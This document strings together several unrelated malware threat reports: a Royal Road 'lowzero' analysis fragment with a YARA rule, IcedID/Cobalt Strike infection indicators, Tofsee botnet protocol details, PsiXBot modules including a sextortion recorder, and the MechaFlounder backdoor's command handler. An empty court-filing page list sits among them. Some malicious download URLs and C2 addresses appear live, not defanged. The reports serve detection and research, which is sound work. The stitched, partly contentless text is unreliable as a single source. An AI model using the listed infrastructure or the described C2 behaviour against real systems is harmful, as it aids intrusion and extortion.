simple HTTP client that can send HTTP requests to a server and receive responses. The process begins by extracting the hostname and port number for the connection. A socket is then created and a connection is established with the server. The malware constructs an HTTP request using the following format: ``` CONNECT %s:%d HTTP/1.1\r\nProxy-Connection: Keep-Alive\r\nContent-Length: 0\r\nHost: %s\r\nUser-Agent: %s\r\n ``` The request is then sent to the server and a response is received. It is not clear how the response is processed or what the purpose of the request is. ### Encryption Data with AES After establishing a connection with the server, the malware appears to be utilizing the AES algorithm to encrypt data before sending it to the server. It uses a ransom key as the initial key for the encryption process and then receives a key from the server to encrypt the data again. ### C2 Response The malware appears to use a specific method for receiving encrypted data from the server and decrypting it. This data is likely to be modules or commands that are used for specific tasks. The decryption process reverses the method used to encrypt the data, which includes: - LZF compression - XORing with 0x2b - Base64 encoding - AES encryption with a randomly generated key - AES encryption with a key derived from the XOR of the Client, Server Random Bytes Key ### Commands The malware checks the header of the response with “PK” and receives one command or more. The commands are as follows: | No. | Command | Info | |-----|---------|------| | 1 | 2000 | Used to decode using base64, decrypt with 0x2b key, and decompress using LZF. | | 2 | 2001 | Clear the command of data. | | 3 | 2002 | Set communication delay time. | | 4 | 2003 | Exit command loop. | | 5 | 2004 | Break connection. | | 6 | 2005 | Load module from attacker into memory. | | 7 | 2006 | Run module. | | 8 | Default | Listen for proxy connection. | ### Analysis Infrastructure It appears that the hostname “45.77.19.75.vultrusercontent.com” is associated with the domain “VULTRUSERCONTENT.COM” and is hosted by the cloud provider Vultr. The host is located in Japan, specifically in the city of Ōi. The organization responsible for the host is Vultr Holdings, LLC, and the ISP is The Constant Company, LLC. The ASN associated with the host is AS20473. It is important to note that the presence of a host or domain on a cloud provider does not necessarily indicate malicious activity. The network and AS are likely used by the malware for communication with its command and control (C2). ### Classification and Attribution Attribution refers to the process of identifying the source of a cyber attack or threat. It is often difficult to accurately attribute cyber attacks to a specific country, as attackers often use various tactics to hide their identity and location. There are several factors that can help attribute a cyber attack to a specific country, including: - **Victimology**: Characteristics of the victims of the attack, such as the type of organization or industry they belong to. - **Infrastructure**: If a group of attacks all use the same infrastructure, such as a specific set of servers or domain names. - **Tactics, Techniques, and Procedures (TTPs)**: The specific tactics and techniques used in an attack can often identify the group or country behind the attack. - **Malware Used**: The type of malware used in an attack can often attribute the attack to a specific group or country. A spreadsheet targeting a Tibetan organization was used, and a domain, tibet[.]bet, was attributed to the TA413 group for the attack. TA413 is known to have impersonated the “Department of Religion & Culture.” This type of social engineering tactic is often used to trick individuals into revealing sensitive information or downloading malware. ### Ideas on How to Track Activity of This Tool: - Set up a YARA rule to identify the RTF version of the Royal Road tool or any associated indicators of compromise (IOCs). - Use YARA to scan your network for any instances of the RTF version of the Royal Road tool or associated IOCs. - When YARA detects a match, conduct further investigation to determine the scope and impact of the RTF version of the Royal Road tool on your network. - Take appropriate remediation steps to remove the RTF version of the Royal Road tool from your network and secure any affected systems. - Use threat intelligence sources to stay informed about the latest tactics and techniques used by APT groups. ### TTPs **YARA Rule** ```yara rule lowzero_malware: lowzero { meta: description = "Detect_lowzero_malware" author = "@malgamy12" date = "2022/12/26" license = "DRL 1.1" hash = "de44e5f6cfac9cd3e61194efd5c2b20ba44c437a520fe7018ed7f623e66f8131" strings: $pdb = "Proxy-Authorization: NTLM " ascii $op = {8B C1 8D 14 39 83 E0 ?? 8A 44 05 ?? 32 04 16 32 C1 41 88 02 3B CB} condition: uint16(0) == 0x5A4D and all of them } ``` ### IOCs **First Stage** `9681ef910820d553e4cd54286f8893850a3a57a29df7114c6a6b0d89362ff326` **Second Stage** `028e07fa88736f405d24f0d465bc789c3bcbbc9278effb3b1b73653847e86cf8` **Third Stage** `de44e5f6cfac9cd3e61194efd5c2b20ba44c437a520fe7018ed7f623e66f8131` **IP** `45.77.19.75` **Domain** - `chorig-org.web.app` - `desktoppreview.com` - `odc.officeapps.live.com` **IP Addresses** - `131.107.255.255` - `45.77.19.75` - `199.36.158.100` **URLs** - `https://chorig-org.web.app/Application-form-Sixmonth-workshop-2022V1.doc` - `http://chorig-org.web.app/Application-form-Sixmonth-workshop-2022V1.doc` - `http://desktoppreview.com/salvoed.dotx` - `https://desktoppreview.com/salvoed.dotx` **Files** - `0b30433bb80abd4b1978fa84d953c13f4d7b726cd533e3c50cef36b4e79f2d2e` - `cfc72b48732286a2beab5d0fc60aabc8d529faf4d0fb262b99a092096a187dc0` - `1351dca77922b22ab5dae0689550cb55807900348a42b5dc71b01a5a78602b0f` - `9681ef910820d553e4cd54286f8893850a3a57a29df7114c6a6b0d89362ff326` - `ba2c89192643f05e64f49b5cb3513a6a5bbfa719225af3b72c83587b8b774e8d` - `d987e80a23f334c5eb50c9883a6b5b1b2090230f950fa5eb7cec0a2d74f5271b` - `3a69c1453b8062620837ab32be68ed871df383e24e68161839508a98bf7033b8` - `c0fc6a2ba864650af25b9da8e70396cdb40e8a196f7f0ce6024ff67a080346dc` - `c44be5ed5c4bec2be72ce9737bde5a2d48fe5fb0ea235ddc61ba447b26642949` - `c8934c7b3187e48b1ee44fc2c8e1c3ab19850efc1e45383442cfe4b9b4a06d01` - `9b79fbbc895ca98b951aecd664cdd7ce69f63901996c7341a560d7c207a143ea` - `65bddf8148ed60f5625b3495baba0824d2fcd13a710494817c7a84e0062ce227` - `1120275dc25bc9a7b3e078138c7240fbf26c91890d829e51d9fa837fe90237ed` - `4f941e1203bf7c1cb3ec93d42792f7f971f8ec923d11017902481ccf42efaf75` - `67458476cc289f7d0f0bda8938f959b8a1a515e23f37c9d16452b2e1d8adf5a4` - `7d9e22ae60cb85c4dbdceac46d33fc080b89df23607ab4904b3795d9a9765b82` - `c83c28add56ec8cad23a14155d5d3d082a1166c64ea5b7432e0acaa728231165` - `b7bebe92a5802aa922e5719c948e35716f908e67701cfffaeebfcadc7a6e650a` - `0eb7ba6457367f8f5f917f37ebbf1e7ccf0e971557dbe5d7547e49d129ac0e98` **References:** - https://www.recordedfuture.com/chinese-state-sponsored-group-ta413-adopts-new-capabilities-in-pursuit-of-tibetan-targets - https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html - https://github.com/nao-sec/rr_decoder
# IcedID (Bokbot) with Dark VNC and Cobalt Strike **Published:** 2022-07-27 **Last Updated:** 2022-07-27 03:15:24 UTC **by Brad Duncan (Version: 1)** ## Introduction As early as April 2022, a long-running threat actor known as TA551 (designated by Proofpoint), Monster Libra (designated by Palo Alto Networks), or Shathak started distributing SVCReady malware. Since then, we've sometimes seen this same threat actor also push IcedID (Bokbot) malware. On Tuesday 2022-07-26 during a recent wave of SVCReady malware from Monster Libra/TA551 targeting Italy, @k3dg3 tweeted indicators of IcedID malware from the same threat actor. Today's diary reviews an IcedID infection generated from a password-protected zip archive sent by Monster Libra/TA551. This IcedID infection led to Dark VNC activity and Cobalt Strike malware. ## Images From the Infection - **Password-protected zip archive** found through VirusTotal contains ISO file with shortcut to run command script. - **Windows shortcut** runs .js file, which then runs a DLL to install IcedID malware. - **Scheduled task** after IcedID is persistent on the infected Windows host. - **Persistent IcedID malware** DLL and license.dat binary needed to run the DLL. - **Traffic from the infection** filtered in Wireshark. - **HTTP traffic** generated by the IcedID installer returned a gzip binary. - **HTTPS C2 traffic** for IcedID uses self-signed certificates as shown here in Wireshark. - **Encoded/encrypted traffic** generated by DarkVNC malware appears after the IcedID infection. - **Infected Windows host** retrieves DLL for Cobalt Strike. - **Cobalt Strike HTTPS C2 traffic** uses a legitimate certificate from Sectigo. ## Indicators of Compromise (IOCs) - **SHA256 hash:** 4b86c52424564e720a809dca94f5540fcddac10cb57618b44d693e49fd38c0a5 **File size:** 420,425 bytes **File description:** password-protected zip archive containing malicious ISO image **Password:** doc2546 - **SHA256 hash:** d9a7ce532ee39918815f9dd03d0b4961ef85dddfd2498759b868e9ed8858a532 **File size:** 1,267,712 bytes **File name:** figures.iso **File description:** malicious ISO image containing files for IcedID infection - **SHA256 hash:** 4661a789c199544197a7d3ccfedb51ec95393641fb44875c92cf6c2c4a40fc1d **File size:** 1,205 bytes **File name:** statistics.lnk **File description:** Windows shortcut to run IcedID installer. Only immediately visible file within the ISO image. - **SHA256 hash:** eef2684a47bbadf954f3bc06b3611989447f1b5cfd47cdeacb38321987b3565c **File size:** 30 bytes **File location in ISO image:** me\EDGwfAE.cmd **File description:** run by above shortcut, this command script runs the below JS file - **SHA256 hash:** df66d308065919c5d45f6c9b718b1a7c58f9e461488bbef850c924728f053b14 **File size:** 263 bytes **File location in ISO image:** me\PGJqfV.js **File description:** run by the above command script, this JS file runs the below IcedID installer DLL - **SHA256 hash:** f53321d9a70050759f1d3d21e4748f6e9432bf2bc476f294e6345f67e6c56c3e **File size:** 217,600 bytes **File location in ISO image:** me\t1OvWm.dat **File description:** run by the above JS file, this 64-bit DLL installs IcedID **Run method:** rundll32.exe [filename],#1 - **SHA256 hash:** a15ae5482b31140220bb75ce2e6c53aaafe3dc702784a0d235a77668e3b0a69a **File size:** 217,600 bytes **File location in ISO image:** one\jGv5XFIe.dat **File description:** another 64-bit DLL to install IcedID, not used for this infection **Run method:** rundll32.exe [filename],#1 - **SHA256 hash:** ee0379ef06a74b3c810b4f757097cd0534ec5c4ebf0d92875b07421fe1a5dd55 **File size:** 537,531 bytes **File location:** hxxp://tritehairs[.]com/ **File description:** gzip binary from tritehairs[.]com used to create persistent IcedID 64-bit DLL and license.dat - **SHA256 hash:** e512027d42d829fad95d14aa4c48f3ce30089e5c200681a2bded67068b8973f4 **File size:** 194,560 bytes **File location:** C:\Users\[username]\AppData\Local\{A42A69E9-9159-9F0A-BB24-F9DAA57621A1}\Olfann64.dll **File description:** persistent IcedID 64-bit DLL **Run method:** rundll32.exe [filename],#1 --ixte="[path to license.dat]" - **SHA256 hash:** 1de8b101cf9f0fabc9f086bddb662c89d92c903c5db107910b3898537d4aa8e7 **File size:** 342,218 bytes **File location:** C:\Users\[username]\AppData\Roaming\FlightQuarter\license.dat **File description:** data binary used to run the persistent IcedID DLL - **SHA256 hash:** a7a0025d77b576bcdaf8b05df362e53a748b64b51dd5ec5d20cf289a38e38d56 **File size:** 1,018,368 bytes **File location:** hxxp://lufuyadehi[.]com/svchost.dll **File location:** C:\Users\[username]\AppData\Local\Temp\Yuicku32.dll **File description:** 64-bit DLL for Cobalt Strike **Run method:** regsvr32.exe [filename] ## Traffic from an Infected Windows Host - **Traffic for gzip binary:** 159.203.45[.]144:80 - tritehairs[.]com - GET / - **IcedID HTTPS C2 traffic:** 46.21.153[.]211:443 - peranistaer[.]top - HTTPS traffic 46.21.153[.]211:443 - wiandukachelly[.]com - HTTPS traffic 178.33.187[.]139:443 - alohasockstaina[.]com - HTTPS traffic 178.33.187[.]139:443 - gruvihabralo[.]nl - HTTPS traffic - **DarkVNC traffic:** 135.181.175[.]108:8080 - Encoded/encrypted traffic - **Cobalt Strike traffic:** 108.177.235[.]8:80 - lufuyadehi[.]com - GET /svchost.dll 108.62.118[.]133:443 - zuyonijobo[.]com - HTTPS traffic ## Final Words A packet capture (pcap) of the infection traffic, along with the associated malware and artifacts can be found here. **Brad Duncan** brad [at] malware-traffic-analysis.net **Keywords:** Bokbot, Cobalt Strike, Dark VNC, IcedID
```markdown Case 3:21-cr-00393-B Document 1 Filed 08/24/21 Page 1 of 23 PageID 5 Page 2 of 23 PageID 6 Page 3 of 23 PageID 7 Page 4 of 23 PageID 8 Page 5 of 23 PageID 9 Page 6 of 23 PageID 10 Page 7 of 23 PageID 11 Page 8 of 23 PageID 12 Page 9 of 23 PageID 13 Page 10 of 23 PageID 14 Page 11 of 23 PageID 15 Page 12 of 23 PageID 16 Page 13 of 23 PageID 17 Page 14 of 23 PageID 18 Page 15 of 23 PageID 19 Page 16 of 23 PageID 20 Page 17 of 23 PageID 21 Page 18 of 23 PageID 22 Page 19 of 23 PageID 23 Page 20 of 23 PageID 24 Page 21 of 23 PageID 25 Page 22 of 23 PageID 26 Page 23 of 23 PageID 27 ```
# Technical Analysis of Tofsee Botnet Tofsee, also known as Gheg, is a botnet analyzed by CERT Polska. Its main job is to send spam, but it is capable of performing other tasks as well. This is possible due to the modular design of the malware, which consists of a main binary that the user downloads and infects with. This binary later downloads several additional modules from the C2 server, modifying code by overwriting some of the called functions with their own. For example, these modules can spread by posting click-bait messages on Facebook and VKontakte (a Russian social network). The bot communicates with the botmaster using a non-standard protocol built on top of TCP. The first message after establishing the connection is always sent by the server and contains a random 128-byte key used for encrypting further communication. It is impossible to decode the communication if one wasn’t listening from the beginning. At all times, the bot keeps a list of resources in memory, initially almost empty and containing only basic information, such as the bot ID. This list is quickly filled with data received from the server in further messages. Resources can take different forms, such as a list of mail subjects for spam or DLL libraries that extend the bot's capabilities. One of the resources, `work_srv`, contains a list of C2 IP addresses. This is one of the first messages sent by the server and may not contain itself; in this case, the connection is soon terminated, and a random server from the newly received list is chosen as the communication partner. All sent emails are randomized using a special script language. The body contains macros that are replaced randomly by certain strings of characters during parsing. For example, `%RND_SMILE` will be substituted by one of several emoticons. This randomization allows simpler spam filters to pass these messages through. The C2 IP address list is hardcoded in the binary in an encrypted form. The algorithm used for obfuscation is simple, XORing the message with a hardcoded key. The decrypted data reveals three IP+port pairs, with the port typically set to 443 to conceal communication by using a port dedicated for SSL traffic. ## Communication Protocol After establishing a TCP connection, the first message is sent by the server. Its size is always 200 bytes long, although not all bytes are used. The final bytes seem to be reserved for future expansion of the protocol. This message is also obfuscated by simple bitwise operations. From this point on, all traffic (both incoming and outgoing) is encrypted using the 128-byte key received in the first message. The key is modified after every sent or received byte, making it impossible to decrypt the transmission without listening from the beginning. XORing is used in such a way that a single function can both encrypt and decrypt messages. ### Parameters: - `data` – raw data - `key` – short, 7-byte key, initialized by “abcdefg” bytes before the first message - `main_key` – 128-byte key from the greeting message - `it` – number of bytes sent/received till now All messages (except the greeting) consist of a header and payload. The header is represented by a specific structure. The protocol supports data compression, but it is only used for larger messages. Fields `op`, `subop1`, and `subop2` are constants defining the message type. The binary contains code handling a large number of types, but in practice, only a fraction of them is used. The first message sent by the bot has types `{1,0,0}` (op, subop1, and subop2, respectively) and is a large structure. Some field names (such as `lid_file_upd`) were obtained without reverse engineering, as the bot saved them under those exact indices in its internal data structure. Server responses can vary. The simplest response, `op=0`, means an empty response or end of transmission. If `op=2`, the server sends a new resource, with the message payload structured accordingly. Usually, after connecting to a C2 server hardcoded in the binary, the first message received by the bot is a single resource named `work_srv`, which contains a list of IP addresses and ports on which true C2 servers are listening. The bot then disconnects from the current server and starts communication with one of the newly obtained IPs. If `op=1`, the message’s meaning depends on `subop2` and the first four bytes of the payload, which are used as flags. For example, if `op=1`, `subop2&1=0`, and `flags=4`, the message is a C2 request for all resources the bot has. The bot’s response is a concatenated list of resources, after which the server sends multiple type 2 messages containing resources that the bot does not yet have. ## Resources Every resource is identified by its type (a small integer, typically below 10) and a short name, such as “priority.” Some interesting types include: ### Type 5 Contains plugin DLLs. Since they don’t have all of their symbols stripped, the tasks of the plugins can be quickly guessed. As of today, Tofsee downloads the following plugins: | Name of Resource | DLL Name | DLL MD5 Hash | |------------------|------------------|---------------------------------------| | 1 | ddosR.dll | fbc7eebe4a56114e55989e50d8d19b5b | | 2 | antibot.dll | a3ba755086b75e1b654532d1d097c549 | | 3 | snrpR.dll | 385b09563350897f8c941b47fb199dcb | | 4 | proxyR.dll | 4a174e770958be3eb5cc2c4a164038af | | 5 | webmR.dll | 78ee41b097d402849474291214391d34 | | 6 | protect.dll | 624c5469ba44c7eda33a293638260544 | | 7 | locsR.dll | 2d28c116ca0783046732edf4d4079c77 | | 10 | hostR.dll | c90224a3f8b0ab83fafbac6708b9f834 | | 11 | text.dll | 48ace17c96ae8b30509efcb83a1218b4 | | 12 | smtp.dll | 761e654fb2f47a39b69340c1de181ce0 | | 13 | blist.dll | e77c0f921ef3ff1c4ef83ea6383b51b9 | | 14 | miner.dll | 47405b40ef8603f24b0e4e2b59b74a8c | | 15 | img.dll | e0b0448dc095738ab8eaa89539b66e47 | | 16 | spread1.dll | 227ec327fe7544f04ce07023ebe816d5 | | 17 | spread2.dll | 90a7f97c02d5f15801f7449cdf35cd2d | | 18 | sys.dll | 70dbbaba56a58775658d74cdddc56d05 | | 19 | webb.dll | 8a3d2ae32b894624b090ff7a36da2db4 | | 20 | p2pR.dll | e0061dce024cca457457d217c9905358 | Judging by these names, apart from spamming, Tofsee also has other functions, such as coordinated DDoS or cryptocurrency mining (as it turns out, one of the resources being downloaded is a Litecoin miner). ### Type 11 Contains periodically updated scripts in an atypical language used to send spam. The language is slightly similar to assembly; for example, “J” as the first character in a line means jump, and “L” defines a label. The script contains macros that are substituted into other text at runtime, such as `%ATTNAME1`. ### Type 7 Contains general-purpose macros. The names of these resources are the same as the macros they describe, for example, `%DATE_RAN_SUB` (likely abbreviation of DATE RANDOM SUBJECT). The resource content is a newline-separated list of substitutions. ### Type 8 Contains local macros. Since different email scripts might want to use macros with the same name but different content, some macros are local. The resource names are of the form `NUM%VAR`, where `NUM` is the number of the script that is the scope of macro `%TO_NAME`. Variable substitutions are recursive, allowing for complex constructs. The rest of the types contain only a handful of resources and are less interesting, so their description is omitted. ## Conclusion The analysis of the Tofsee botnet reveals its sophisticated design and capabilities, including spam distribution, DDoS attacks, and cryptocurrency mining. The modular nature of the malware allows for flexibility and adaptability in its operations.
# PsiXBot Now Using Google DNS over HTTPS and Possible New Sexploitation Module **September 6, 2019** **The Proofpoint Threat Insight Team** ## Overview Since posting our last PsiXBot update, the group or actor behind this malware has continued to make changes. Most notably, we have observed: - The introduction of DNS over HTTPS - A new version number (1.0.3) - New Fast Flux infrastructure - A newly observed "PornModule" - Distribution via Spelevo EK While tracking this threat, Proofpoint researchers noticed a change in the DNS resolution technique described in our previous blog, implementing Google’s DNS over HTTPS (DoH) service. We observed samples exhibiting this behavior as dropped payloads via the Spelevo Exploit Kit. These newer samples (later versions 1.0.2 and 1.0.3) now contain hard-coded C&C domains to be resolved with Google’s DoH service. ## Analysis of PsiXBot's use of Google's DNS over HTTPS Service Proofpoint researchers observed the use of DNS over HTTPS to retrieve the IP address for the command and control (C&C) domains. We observed this change while the version number for PsiXBot was still 1.0.2. This update was a stark departure from the previous update, which utilized a more convoluted process involving a URL shortener service to gather the IP Address for the C&C infrastructure. On or around August 19, 2019, Proofpoint researchers observed a fresh PsiXBot sample which began to utilize DNS over HTTPS (DoH) via Google's DoH service. It was around this time that we also observed the samples resuming a practice from version 1.0.1, in which the C&C domains were hardcoded in the malware samples with RC4 encryption. In the 1.0.2 and 1.0.3 versions which use DoH, there is no longer a ping sent to either the DNS or C&C servers to ensure uptime. Many companies now offer DNS over HTTPS as a service to enhance privacy on behalf of the user, speed up DNS queries, and provide a form of security during an encrypted DNS session. The author(s) behind PsiXBot have now chosen Google's DoH service for routing their DNS queries to return the IP addresses of the C&C domains. By using Google’s DoH service, it allows attackers to hide the DNS query to the C&C domain behind HTTPS. Unless SSL/TLS is being inspected by Man in the Middle (MitM), DNS queries to the C&C server will go unnoticed. Because the newer samples of PsiXBot are hardcoding the C&C domains, they are simply placed into the GET request to `https://dns.google[.]com` as a variable. From the initial samples we saw utilizing the DoH method we observed a request and response as such: This will return the C&C domains’ IP address(es) in a JSON blob. Of note, this is not the standard RFC 8484 DoH format but is rather the JSON API format, provided by Google. Furthermore, all of the C&C servers observed by Proofpoint researchers utilized HTTPS provided by Let's-Encrypt certificates. Fast Flux is a method for rapidly changing DNS entries using a botnet of compromised hosts to hide malicious activities like phishing and malware distribution. In the most recent samples from PsiXBot, we observed evidence of newly implemented Fast Flux infrastructure in the responses for C&C domains, both in standard DNS queries as well as what is returned via DoH. ## Further Analysis On or around September 5, 2019, Proofpoint researchers observed the version number for PsiXBot increment to version 1.0.3. The C&C check-in sequence remained largely the same, but was modified slightly to include a check for whether the infected machine is a member of a domain. In version 1.0.2, a parameter of "user_group" was used, but in 1.0.3, it simply does a binary check for domain membership. The C&C traffic continues to be POSTed and the client body data is still RC4-encrypted using a hardcoded key found in the sample. An example of the updated decrypted C&C traffic is below: As evident in the previously analyzed versions of this malware, the C&C response continues to be a JSON blob which contains further instructions as well as some arguments for the modules to be run. The features for version 1.0.3 are largely the same as previously analyzed versions, but now contain a newly observed module called "PornModule". "GetProcList" is new to these samples, but is functionally similar to the "GetProcessList" task observed in version 1.0.1. The current features contained in samples with version 1.0.3 are as follows, with the new features identified in bold: - DownloadAndExecute - Execute - GetInstalledSoft - GetOutlook - GetProcList - GetSteallerCookies - GetSteallerPasswords - SelfDelete - StartComplexModule - StartCryptoModule - StartFGModule - StartKeylogger - StartNewComplexModule - StartPorn - StartSchedulerModule - StartSpam ## New Module Analysis ### StartPorn The "PornModule", assembly name "chouhero", is a module likely designed for blackmail/sexploitation purposes. Similar to functionality observed recently in other malware campaigns, this module contains a dictionary containing pornography-related keywords used to monitor open window titles. If a window matches the text, it will begin to record audio and video on the infected machine. Once recorded, the video is saved with a ".avi" extension and is sent to the C&C. Typically, these recordings are used for extortion purposes. Of note, the malware uses the Windows DirectShow library to capture audio and video. This module appears incomplete and will likely be modified in future releases. ### StartSpam While this module is not new, it has been recently observed returning to infected machines with more robust spam campaign commands and data, as it now contains updated message verbiage and attachment information. Below is an example of a recent configuration for the SpamModule returned from the C&C server: The document itself contains malicious macros that will retrieve a payload of PsiXBot, and contains the above SpamModule configuration for further replication. ## Distribution via Spelevo EK On or around August 29, 2019, we observed a PsiXBot sample (afe7192cd7e4be82352ba43f29d54a1a) with version 1.0.2 being dropped as a payload from Spelevo Exploit Kit. As of now, the code being dropped by the Spelevo EK contains samples with version 1.0.3. ## Conclusion As noted in the previous Threat Insight Blog post on PsiXBot, this malware is under active development and continues to evolve. By expanding the feature set of the included modules and the overall capabilities of this malware, the actor or team behind its development appears to be seeking feature parity with other similar malware on the market. The group also included anti-analysis and detection evasion features by implementing DNS over HTTPS and fast flux infrastructure. We will continue to monitor PsiXBot as the current pace of updates suggests further refinements will not be far behind. ## Indicators of Compromise (IOCs) | IOC | Description | Type | | --- | ----------- | ---- | | fnoetwotb4nwob524o.hk | PsiXBot Command and Control | Domain | | v3no4to24wto24.hk | PsiXBot Command and Control | Domain | | worldismine.hk | PsiXBot Command and Control | Domain | | the-best.hk | PsiXBot Command and Control | Domain | | greentowns.hk | PsiXBot Command and Control | Domain | | wonderlands.hk | PsiXBot Command and Control | Domain | | fastyoutube.info | PsiXBot Command and Control | Domain | | realty4rent.hk | PsiXBot Command and Control | Domain | | e7332d507230fb218cf905a040fe83e81675a44d3da02fb737a2039d04ebea5e | PsiXBot Executable | Sha256 | | 979862ba03fd40ed9679989972f7c174332ca2b51efaa1578bdb04dc2a652fff | PsiXBot Executable | Sha256 | | f93973c29125db0d62dbf8be9b73b0957dbc552b5fd277ae0f2e974724ab25bb | PsiXBot Executable | Sha256 | | 1961454dca8e742ca967fa1581228b65fdd8a6da9080702d8c11c801aea28920 | PsiXBot Executable | Sha256 | | e847d5fd623a60788776fc662b41abfe8578d85b4136ea6a9933132fe894dc4f | PsiXBot Executable | Sha256 | | 05aa0ca087dc142b96c64c9f5f5f60072b9d5dff57181eb46d6178e73aa9f7fd | PsiXBot PornModule | Sha256 | | 94bb94f50f9a641b902c031788b1f069a6cc2822fdb99cb833f17f067a05a32a | PsiXBot MalDoc | Sha256 | ## ET and ETPRO Suricata/Snort Signatures - 2837734 - ETPRO TROJAN Win32/PsiXBot CnC Checkin - 2838108 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC) - 2838127 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC) - 2838194 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC) - 2838213 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC) - 2838289 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC) - 2838290 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC) - 2838309 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC)
# New Python-Based Payload MechaFlounder Used by Chafer **By Robert Falcone and Brittany Barbehenn** **March 4, 2019** In November 2018, the Chafer threat group targeted a Turkish government entity reusing infrastructure that they used in campaigns reported earlier in 2018 by Clearsky, specifically, the domain win10-update[.]com. While we lack visibility into the initial delivery mechanism of this attack, we did observe a secondary payload hosted on 185.177.59[.]70, the IP address to which this domain resolved at the time of the activity. Unit 42 has observed Chafer activity since 2016; however, Chafer has been active since at least 2015. This new secondary payload is Python-based and compiled into executable form using the PyInstaller utility. This is the first instance where Unit 42 has identified a Python-based payload used by these operators. We’ve also identified code overlap with OilRig’s Clayside VBScript but at this time track Chafer and OilRig as separate threat groups. We have named this payload MechaFlounder for tracking purposes and discuss details below. ## Turkish Government Targeting Our visibility into this Chafer activity involves the identification of a malicious executable downloaded from the IP address 185.177.59[.]70. How the attackers are targeting victims and causing them to download this file are currently not known. The file named ‘lsass.exe’ was downloaded from win10-update[.]com via an HTTP request. The win10-update[.]com domain has been noted in open source as an indicator associated with Chafer threat operations. The lsass.exe file downloaded from this domain is a previously unreported python-based payload that we are currently tracking as MechaFlounder. We believe Chafer uses MechaFlounder as a secondary payload that the group downloads from a first-stage payload to carry out its post-exploitation activities on the compromised host. Based on our telemetry, the first-stage payload was not observed in this activity. In February 2018, IP address 134.119.217[.]87 resolved to win10-update[.]com and several other domains likely associated with Chafer activity. Of interest, the domain turkiyeburslari[.]tk, which mirrors the legitimate Turkish Scholarship government domain turkiyeburslari[.]gov[.]tr, also resolved to this IP and may likely have been used in other Chafer collection operations. The domains associated with this IP address are included within the Appendix. ## The MechaFlounder Payload The python-based payload, ‘lsass.exe’ was retrieved from a command and control (C2) server via an HTTP request to the following URL: `win10-update[.]com/update.php?req=<redacted>&m=d` This payload, (SHA256: 0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff), which we are tracking as MechaFlounder, was developed in Python and bundled as a portable executable using the PyInstaller tool. This secondary payload acts as a backdoor allowing the operator to upload and download files, as well as run additional commands and applications on the compromised system. MechaFlounder begins by entering a loop that will continuously attempt to communicate with its C2 server. The Trojan will use HTTP to send an outbound beacon to its C2 server that contains the user's account name and hostname in the URL. The code builds the URL by concatenating the username and hostname with two dashes "--" between the two strings. The code then creates the URL string by using the username and hostname string twice with the back-slash "\" character between the two and by appending the string "-sample.html". During this analysis, the code generated anomalous HTTP requests for its beacons. One might notice that the GET request does not start with a forward-slash "/" character and includes a back-slash character "\" in the URL. This causes a legitimate web server, such as nginx used in our test environment, to respond with a '400 Bad Request' error message. This may suggest that even though the code uses the HTTPConnection class from the httplib module to generate the anomalous HTTP beacon, it is likely that the threat actors created a custom server to handle this C2 channel instead of relying on a standard web server. Additionally, the malware author used the variable name 'cmd' to build the string used for the HTTP method and path and checks the HTTP method portion of the string for the word 'exit'. We are unsure of the purpose of this check, as the HTTP method in this string would never be 'exit' and therefore would never be true. We believe this is an artifact likely derived from a previous version of the script that the author forgot to remove. If the C2 server were to accept the beacon, it would respond with HTML that contains a command intended for the Trojan to parse and execute. The Trojan begins by converting the HTML in the response to text. After converting the HTML to text, the Trojan discards the first 10 characters of the response and treats the remainder of the string as a command. The C2 can also provide the string "yes " in this command string, which instructs the Trojan to decode the command as a base16 encoded string with the "yes " substring removed. The Trojan subjects the command supplied by the C2 to a handler that determines the activities the Trojan will perform. ### Command Handler | Command | Description | |------------------|-----------------------------------------------------------------------------| | Terminate | Terminates the connection | | download | Downloads provided <filename> that it will obtain from http://<c2 server>/<filename> and saves it to C:\Users\Public\<filename>. | | runtime | Sets the sleep interval between beacons. | | upload | Uploads provided <filename> to http://<c2 server> via HTTP POST. | | cd | Changes the current working directory | | empty | Does nothing, likely an Idle command. | | <anything else> | Attempts to run the supplied data as a command on the command line. | We gained more insight into the custom C2 server application by analyzing the activities that MechaFlounder carries out if it receives the ‘upload’ command. To upload a specified file from the compromised system to the C2 server, the Trojan uses the Browser class in the mechanize module to submit the file to an HTML form on the C2 server. This suggests that in addition to being able to handle the anomalous HTTP GET requests previously mentioned, the custom C2 server application must also be able to: 1. Serve HTML that contains a form to receive uploaded files, 2. Handle legitimate HTTP POST requests generated by the mechanize module, and 3. Save files uploaded with the HTTP POST request. After carrying out the activities for the command, the Trojan will encode the results or output message of the command using the 'base64.b16encode' method. Each command has an output message for both a successful and failed execution of the command with the exception of ‘empty’ and ‘terminate’. Unlike the initial beacon that uses the anomalous HTTP GET request, the Trojan will send the encoded results to the C2 server using the same socket as the initial HTTP beacon. The use of the same socket and the anomalous portions of the HTTP beacon further suggests that the threat actor likely created a custom C2 server to handle this network traffic. To show these network communications, we patched the Trojan to issue beacons that use legitimate HTTP GET requests that the HTTP server (nginx) in our test environment could support. The patches involved changing the paths within the HTTP request, specifically setting the path to start with a forward-slash “/” and have the forward-slash “/” instead of a back-splash “\” within the URL path itself. When the Trojan issues the beacon, the HTTP server responds with contents of a specific file, which effectively issues a command to the Trojan. The Trojan responds to the command with a message that it encodes in base16. It then sends this to the C2 server without any HTTP headers using the same socket as the initial HTTP request. ### Conclusion The Chafer threat group has been active since at least 2015 focused on both private and public sector entities within the Middle East. Unit 42 has specifically observed the targeting of Turkish government entities since at least 2016; however, this is the first instance where Unit 42 has observed Chafer using a Python-based payload. This payload, now known as MechaFlounder, was created by Chafer using a combination of actor-developed code and code snippets freely available online in development communities. The MechaFlounder Trojan contains enough functionality for the Chafer actors to carry out the necessary activities needed to accomplish their goals, specifically by supporting file upload and download, as well as command execution functionality. The overlap in Oilrig’s Clayside VBScript and Chafer’s AutoIT payloads does not come as a complete surprise. Oilrig and Chafer have for quite some time appeared very similar operationally and potentially having access to the same code or resources for payload development makes sense. Unit 42 has taken reference to the various overlaps in the two sets of activities and continues to track these operations separately. ### Appendix **MechaFlounder Sample** lsass.exe 